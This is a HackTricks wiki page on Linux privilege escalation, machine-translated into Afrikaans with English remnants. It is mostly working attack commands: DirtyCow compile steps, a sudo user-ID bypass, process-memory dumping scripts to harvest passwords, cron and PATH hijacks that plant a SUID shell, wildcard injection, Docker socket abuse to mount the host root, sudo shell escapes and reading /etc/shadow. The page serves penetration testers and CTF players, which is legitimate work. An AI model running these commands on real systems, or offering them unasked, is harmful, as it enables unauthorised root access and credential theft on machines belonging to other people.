Linux Privilege Escalation

PreviousChecklist - Linux Privilege Escalation NextArbitrary File Write to Root

Last updated 6 days ago

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Stelselinligting

OS-inligting

Kom ons begin om 'n bietjie kennis van die bedryfstelsel te verkry

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Pad

As jy skrywe toestemmings op enige gids binne die PATH veranderlike het, mag jy in staat wees om sommige biblioteke of binêre te kap:

echo $PATH

Env info

Interessante inligting, wagwoorde of API sleutels in die omgewingsveranderlikes?

(env || set) 2>/dev/null

Kernel exploits

Kontroleer die kernel weergawe en of daar 'n eksploitasie is wat gebruik kan word om voorregte te verhoog

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Jy kan 'n goeie lys van kwesbare kernels en sommige reeds gecompileerde exploits hier vind: https://github.com/lucyoa/kernel-exploits en exploitdb sploits. Ander webwerwe waar jy 'n paar gecompileerde exploits kan vind: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Om al die kwesbare kern weergawe van daardie web te onttrek, kan jy doen:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Tools wat kan help om vir kernel exploits te soek is:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (voer uit IN slagoffer, kyk net na exploits vir kernel 2.x)

Soek altyd die kernel weergawe in Google, dalk is jou kernel weergawe in 'n of ander kernel exploit geskryf en dan sal jy seker wees dat hierdie exploit geldig is.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo weergawe

Gebaseer op die kwesbare sudo weergawes wat verskyn in:

searchsploit sudo

U kan nagaan of die sudo weergawe kwesbaar is deur hierdie grep te gebruik.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

Van @sickrov

sudo -u#-1 /bin/bash

Dmesg-handtekeningverifikasie het misluk

Kyk na smasher2 box van HTB vir 'n voorbeeld van hoe hierdie kwesbaarheid benut kan word

dmesg 2>/dev/null | grep "signature"

Meer stelselening

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Lys moontlike verdediging

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breek Uit

As jy binne 'n docker-container is, kan jy probeer om daaruit te ontsnap:

Docker Security

Skywe

Kontroleer wat gemonteer en ongemonteer is, waar en hoekom. As iets ongemonteer is, kan jy probeer om dit te monteer en na private inligting te kyk.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Nuttige sagteware

Lys nuttige binaire lêers

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Ook, kyk of enige kompiler geïnstalleer is. Dit is nuttig as jy 'n kern eksploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien waar jy dit gaan gebruik (of op een soortgelyk) te compileer.

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Kwetsbare Sagteware Geïnstalleer

Kontroleer die weergawe van die geïnstalleerde pakkette en dienste. Miskien is daar 'n ou Nagios-weergawe (byvoorbeeld) wat benut kan word om voorregte te verhoog… Dit word aanbeveel om handmatig die weergawe van die meer verdagte geïnstalleerde sagteware te kontroleer.

dpkg -l #Debian
rpm -qa #Centos

As jy SSH-toegang tot die masjien het, kan jy ook openVAS gebruik om te kyk vir verouderde en kwesbare sagteware wat binne die masjien geïnstalleer is.

Nota dat hierdie opdragte 'n baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om sommige toepassings soos OpenVAS of soortgelyke te gebruik wat sal kyk of enige geïnstalleerde sagteware weergawe kwesbaar is vir bekende ontploffings

Prosesse

Kyk na watter prosesse uitgevoer word en kyk of enige proses meer regte het as wat dit behoort (miskien 'n tomcat wat deur root uitgevoer word?)

ps aux
ps -ef
top -n 1

Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect parameter inside the command line of the process. Also check your privileges over the processes binaries, maybe you can overwrite someone.

Process monitoring

You can use tools like pspy to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.

Process memory

Some services of a server save credentials in clear text inside the memory. Normally you will need root privileges to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials. However, remember that as a regular user you can read the memory of the processes you own.

Note that nowadays most machines don't allow ptrace by default which means that you cannot dump other processes that belong to your unprivileged user.

The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace:

kernel.yama.ptrace_scope = 0: alle prosesse kan gedebug wees, solank hulle dieselfde uid het. This is the classical way of how ptracing worked.
kernel.yama.ptrace_scope = 1: slegs 'n ouer proses kan gedebug wees.
kernel.yama.ptrace_scope = 2: Slegs admin kan ptrace gebruik, aangesien dit CAP_SYS_PTRACE vermoë vereis.
kernel.yama.ptrace_scope = 3: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is 'n herbegin nodig om ptracing weer te aktiveer.

GDB

If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Skrip

dump-memory.sh

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Vir 'n gegewe proses-ID, maps wys hoe geheue binne daardie proses se virtuele adresruimte gemap is; dit wys ook die toestemmings van elke gemapte streek. Die mem pseudo-lêer stel die proses se geheue self bloot. Van die maps lêer weet ons watter geheue streke leesbaar is en hul offsets. Ons gebruik hierdie inligting om in die mem-lêer te soek en al leesbare streke na 'n lêer te dump.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem bied toegang tot die stelsel se fisiese geheue, nie die virtuele geheue nie. Die kern se virtuele adresruimte kan toegang verkry word met /dev/kmem. Tipies is /dev/mem slegs leesbaar deur root en die kmem groep.

strings /dev/mem -n10 | grep -i PASS

ProcDump vir linux

ProcDump is 'n Linux-herinterpretasie van die klassieke ProcDump-gereedskap uit die Sysinternals-gereedskapstel vir Windows. Kry dit in https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Tools

Om 'n prosesgeheue te dump, kan jy gebruik maak van:

https://github.com/Sysinternals/ProcDump-for-Linux
https://github.com/hajzer/bash-memory-dump (root) - _Jy kan handmatig die root vereistes verwyder en die proses wat aan jou behoort dump
Skrip A.5 van https://www.delaat.net/rp/2016-2017/p97/report.pdf (root is vereis)

Credentials from Process Memory

Manual example

As jy vind dat die authenticator proses aan die gang is:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

U kan die proses dump (sien vorige afdelings om verskillende maniere te vind om die geheue van 'n proses te dump) en soek na geloofsbriewe binne die geheue:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Die hulpmiddel https://github.com/huntergregal/mimipenguin sal duidelike teks geloofsbriewe uit geheue en uit 'n paar bekende lêers steel. Dit vereis wortelregte om behoorlik te werk.

Kenmerk

Prosesnaam

GDM wagwoord (Kali Desktop, Debian Desktop)

gdm-password

Gnome Sleutelhanger (Ubuntu Desktop, ArchLinux Desktop)

gnome-keyring-daemon

LightDM (Ubuntu Desktop)

lightdm

VSFTPd (Aktiewe FTP Verbindinge)

vsftpd

Apache2 (Aktiewe HTTP Basiese Auth Sessies)

apache2

OpenSSH (Aktiewe SSH Sessies - Sudo Gebruik)

sshd:

Search Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Geskeduleerde/Cron take

Kontroleer of enige geskeduleerde taak kwesbaar is. Miskien kan jy voordeel trek uit 'n skrip wat deur root uitgevoer word (wildcard kwesbaarheid? kan lêers wat root gebruik, wysig? gebruik simboliese skakels? spesifieke lêers in die gids wat root gebruik, skep?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron pad

Byvoorbeeld, binne /etc/crontab kan jy die PAD vind: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Let op hoe die gebruiker "user" skryfregte oor /home/user het)

As die root-gebruiker in hierdie crontab probeer om 'n opdrag of skrip uit te voer sonder om die pad in te stel. Byvoorbeeld: * * * * root overwrite.sh Dan kan jy 'n root shell kry deur te gebruik:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron wat 'n skrip met 'n wildcard gebruik (Wildcard Injection)

As 'n skrip wat deur root uitgevoer word 'n “*” binne 'n opdrag het, kan jy dit benut om onverwagte dinge te maak (soos privesc). Voorbeeld:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

As die wildcard voorafgegaan word deur 'n pad soos /some/path/* , is dit nie kwesbaar nie (selfs ./* is nie).

Lees die volgende bladsy vir meer wildcard eksploitasiemetodes:

Wildcards Spare tricks

Cron-skrip oorskrywing en symlink

As jy 'n cron-skrip kan wysig wat deur root uitgevoer word, kan jy baie maklik 'n shell kry:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

As die skrip wat deur root uitgevoer word 'n gids gebruik waar jy volle toegang het, mag dit nuttig wees om daardie gids te verwyder en 'n simboolgids na 'n ander een te skep wat 'n skrip wat deur jou beheer word, dien

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Gereelde cron take

Jy kan die prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daarvan voordeel trek en privilige verhoog.

Byvoorbeeld, om elke 0.1s vir 1 minuut te monitor, sorteer volgens minder uitgevoerde opdragte en verwyder die opdragte wat die meeste uitgevoer is, kan jy doen:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Jy kan ook pspy (dit sal elke proses wat begin monitor en lys).

Onsigbare cron take

Dit is moontlik om 'n cronjob te skep wat 'n terugkeerkarakter na 'n opmerking plaas (sonder 'n nuwe reël karakter), en die cron taak sal werk. Voorbeeld (let op die terugkeerkarakter):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Dienste

Skryfbare .service lêers

Kyk of jy enige .service lêer kan skryf, as jy kan, kan jy dit wysig sodat dit jou terugdeur uitvoer wanneer die diens gestart, herstart of gestop word (miskien moet jy wag totdat die masjien herbegin word). Byvoorbeeld, skep jou terugdeur binne die .service lêer met ExecStart=/tmp/script.sh

Skryfbare diens binaire

Hou in gedagte dat as jy skryfregte oor binaire wat deur dienste uitgevoer word het, jy dit kan verander vir terugdeure sodat wanneer die dienste weer uitgevoer word, die terugdeure uitgevoer sal word.

systemd PAD - Relatiewe Pade

Jy kan die PAD wat deur systemd gebruik word, sien met:

systemctl show-environment

As jy vind dat jy kan skryf in enige van die vouers van die pad, mag jy in staat wees om privileges te verhoog. Jy moet soek na relatiewe paaie wat gebruik word in dienskonfigurasie lêers soos:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Dan, skep 'n uitvoerbare lêer met die selfde naam as die relatiewe pad binêre binne die systemd PAD-gids wat jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie (Begin, Stop, Herlaai) uit te voer, sal jou agterdeur uitgevoer word (onbevoegde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy sudo -l kan gebruik).

Leer meer oor dienste met man systemd.service.

Timers

Timers is systemd eenheid lêers waarvan die naam eindig op **.timer** wat **.service** lêers of gebeurtenisse beheer. Timers kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender tyd gebeurtenisse en monotone tyd gebeurtenisse en kan asynchrone uitgevoer word.

Jy kan al die timers opnoem met:

systemctl list-timers --all

Skryfbare timers

As jy 'n timer kan wysig, kan jy dit laat uitvoer van sommige eksistensies van systemd.unit (soos 'n .service of 'n .target)

Unit=backdoor.service

In die dokumentasie kan jy lees wat die Eenheid is:

Die eenheid om te aktiveer wanneer hierdie timer verstryk. Die argument is 'n eenheidsnaam, waarvan die agtervoegsel nie ".timer" is nie. As dit nie gespesifiseer is nie, is hierdie waarde die standaard vir 'n diens wat dieselfde naam as die timer eenheid het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die eenheidsnaam wat geaktiveer word en die eenheidsnaam van die timer eenheid identies genoem word, behalwe vir die agtervoegsel.

Daarom, om hierdie toestemming te misbruik, moet jy:

Vind 'n stelseld eenheid (soos 'n .service) wat 'n skryfbare binêre uitvoer
Vind 'n stelseld eenheid wat 'n relatiewe pad uitvoer en jy het skryfbevoegdhede oor die stelseld PAD (om daardie uitvoerbare te verpersoonlik)

Leer meer oor timers met man systemd.timer.

Timer Aktivering

Om 'n timer te aktiveer, het jy wortelbevoegdhede nodig en moet jy uitvoer:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note die timer is geaktiveer deur 'n symlink na dit te skep op /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domein Sockets (UDS) stel proses kommunikasie in staat op dieselfde of verskillende masjiene binne kliënt-bediener modelle. Hulle gebruik standaard Unix beskrywer lêers vir inter-rekenaar kommunikasie en word opgestel deur middel van .socket lêers.

Sockets kan gekonfigureer word met behulp van .socket lêers.

Leer meer oor sockets met man systemd.socket. Binne hierdie lêer kan verskeie interessante parameters gekonfigureer word:

ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Hierdie opsies is verskillend, maar 'n opsomming word gebruik om aan te dui waar dit gaan luister na die socket (die pad van die AF_UNIX socket lêer, die IPv4/6 en/of poortnommer om na te luister, ens.)
Accept: Neem 'n boolean argument. As waar, 'n diensinstansie word geskep vir elke inkomende verbinding en slegs die verbinding socket word aan dit oorgedra. As vals, word al die luister sockets self aan die begin diens eenheid oorgedra, en slegs een diens eenheid word geskep vir al die verbindings. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar 'n enkele diens eenheid onvoorwaardelik al die inkomende verkeer hanteer. Standaard is vals. Vir prestasiedoeleindes word dit aanbeveel om nuwe daemons slegs op 'n manier te skryf wat geskik is vir Accept=no.
ExecStartPre, ExecStartPost: Neem een of meer opdraglyne, wat uitgevoer word voor of na die luister sockets/FIFOs gecreëer en gebind word, onderskeidelik. Die eerste token van die opdraglyn moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses.
ExecStopPre, ExecStopPost: Bykomende opdragte wat uitgevoer word voor of na die luister sockets/FIFOs gesluit en verwyder word, onderskeidelik.
Service: Gee die diens eenheid naam om te aktiveer op inkomende verkeer. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit is standaard die diens wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.

Skryfbare .socket lêers

As jy 'n skryfbare .socket lêer vind, kan jy byvoeg aan die begin van die [Socket] afdeling iets soos: ExecStartPre=/home/kali/sys/backdoor en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom, jy sal waarskynlik moet wag totdat die masjien herbegin word. &#xNAN;Note dat die stelsel daardie socket lêer konfigurasie moet gebruik of die backdoor sal nie uitgevoer word nie

Skryfbare sockets

As jy enige skryfbare socket identifiseer (nou praat ons oor Unix Sockets en nie oor die konfig .socket lêers nie), dan kan jy kommunikeer met daardie socket en dalk 'n kwesbaarheid benut.

Enumereer Unix Sockets

netstat -a -p --unix

Roue verbinding

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Eksploitering voorbeeld:

Socket Command Injection

HTTP sokke

Let daarop dat daar dalk sokke is wat luister na HTTP versoeke (Ek praat nie van .socket lêers nie, maar die lêers wat as unix sokke optree). Jy kan dit nagaan met:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

As die socket reageer met 'n HTTP versoek, kan jy kommunikeer daarmee en dalk 'n sekuriteitskwessie benut.

Skryfbare Docker Socket

Die Docker socket, wat dikwels by /var/run/docker.sock gevind word, is 'n kritieke lêer wat beveilig moet word. Standaard is dit skryfbaar deur die root gebruiker en lede van die docker groep. Om skryfreëling tot hierdie socket te hê, kan lei tot privilige-eskalasie. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.

Privilige Eskalasie met Docker CLI

As jy skryfreëling tot die Docker socket het, kan jy privilige eskalasie doen met die volgende opdragte:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

These commands allow you to run a container with root-level access to the host's file system.

Using Docker API Directly

In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and curl commands.

List Docker Images: Retrieve the list of available images.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

Create a Container: Send a request to create a container that mounts the host system's root directory.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Start the newly created container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

Attach to the Container: Use socat to establish a connection to the container, enabling command execution within it.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

After setting up the socat connection, you can execute commands directly in the container with root-level access to the host's filesystem.

Others

Note that if you have write permissions over the docker socket because you are inside the group docker you have more ways to escalate privileges. If the docker API is listening in a port you can also be able to compromise it.

Check more ways to break out from docker or abuse it to escalate privileges in:

Docker Security

Containerd (ctr) privilege escalation

If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus is a sophisticated inter-Process Communication (IPC) system that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication.

The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of enhanced UNIX domain sockets. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex.

D-Bus operates on an allow/deny model, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions.

An example of such a policy in /etc/dbus-1/system.d/wpa_supplicant.conf is provided, detailing permissions for the root user to own, send to, and receive messages from fi.w1.wpa_supplicant1.

Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Leer hoe om 'n D-Bus kommunikasie te enumerate en te exploiteer hier:

D-Bus Enumeration & Command Injection Privilege Escalation

Netwerk

Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind.

Generiese enumerasie

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Open ports

Kontroleer altyd netwerkdienste wat op die masjien loop waarmee jy nie kon interaksie hê nie voordat jy dit toeganklik gemaak het:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Kontroleer of jy verkeer kan snuffel. As jy kan, kan jy dalk 'n paar geloofsbriewe gryp.

timeout 1 tcpdump

Users

Generic Enumeration

Kontroleer wie jy is, watter privileges jy het, watter users in die stelsels is, watter kan login en watter het root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Groot UID

Sommige Linux weergawes was geraak deur 'n fout wat gebruikers met UID > INT_MAX toelaat om voorregte te verhoog. Meer inligting: hier, hier en hier. Eksploiteer dit met: systemd-run -t /bin/bash

Groepe

Kontroleer of jy 'n lid van 'n groep is wat jou root voorregte kan gee:

Interesting Groups - Linux Privesc

Klembord

Kontroleer of daar iets interessant in die klembord is (indien moontlik)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Wagwoordbeleid

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Bekende wagwoorde

As jy enige wagwoord van die omgewing ken, probeer om in te log as elke gebruiker met die wagwoord.

Su Brute

As jy nie omgee om baie geraas te maak nie en su en timeout binaire is op die rekenaar teenwoordig, kan jy probeer om gebruikers te brute-force met su-bruteforce. Linpeas met die -a parameter probeer ook om gebruikers te brute-force.

Skryfbare PAD misbruik

$PATH

As jy vind dat jy binne 'n sekere gids van die $PATH kan skryf, mag jy in staat wees om voorregte te verhoog deur 'n agterdeur binne die skryfbare gids te skep met die naam van 'n opdrag wat deur 'n ander gebruiker (root idealiter) uitgevoer gaan word en wat nie gelaai word vanaf 'n gids wat voor jou skryfbare gids in $PATH geleë is nie.

SUDO en SUID

Jy mag toegelaat word om 'n sekere opdrag met sudo uit te voer of hulle mag die suid-biet hê. Kontroleer dit met:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Sommige onverwagte opdragte laat jou toe om lêers te lees en/of te skryf of selfs 'n opdrag uit te voer. Byvoorbeeld:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo-konfigurasie mag 'n gebruiker toelaat om 'n opdrag met 'n ander gebruiker se voorregte uit te voer sonder om die wagwoord te ken.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In hierdie voorbeeld kan die gebruiker demo vim as root uitvoer, dit is nou triviaal om 'n shell te verkry deur 'n ssh-sleutel in die root-gids by te voeg of deur sh aan te roep.

sudo vim -c '!sh'

SETENV

Hierdie riglyn laat die gebruiker toe om 'n omgewing veranderlike in te stel terwyl iets uitgevoer word:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Hierdie voorbeeld, gebaseer op HTB-masjien Admirer, was kwulnerbaar vir PYTHONPATH-hijacking om 'n arbitrêre python-biblioteek te laai terwyl die skrip as root uitgevoer word:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

Sudo uitvoering omseil pad

Spring om ander lêers te lees of gebruik simboliese skakels. Byvoorbeeld in die sudoers-lêer: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

As 'n wildcard gebruik word (*), is dit selfs makliker:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Teenmaatreëls: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo-opdrag/SUID-binary sonder opdragspad

As die sudo toestemming aan 'n enkele opdrag gegee word sonder om die pad te spesifiseer: hacker10 ALL= (root) less kan jy dit benut deur die PATH veranderlike te verander.

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

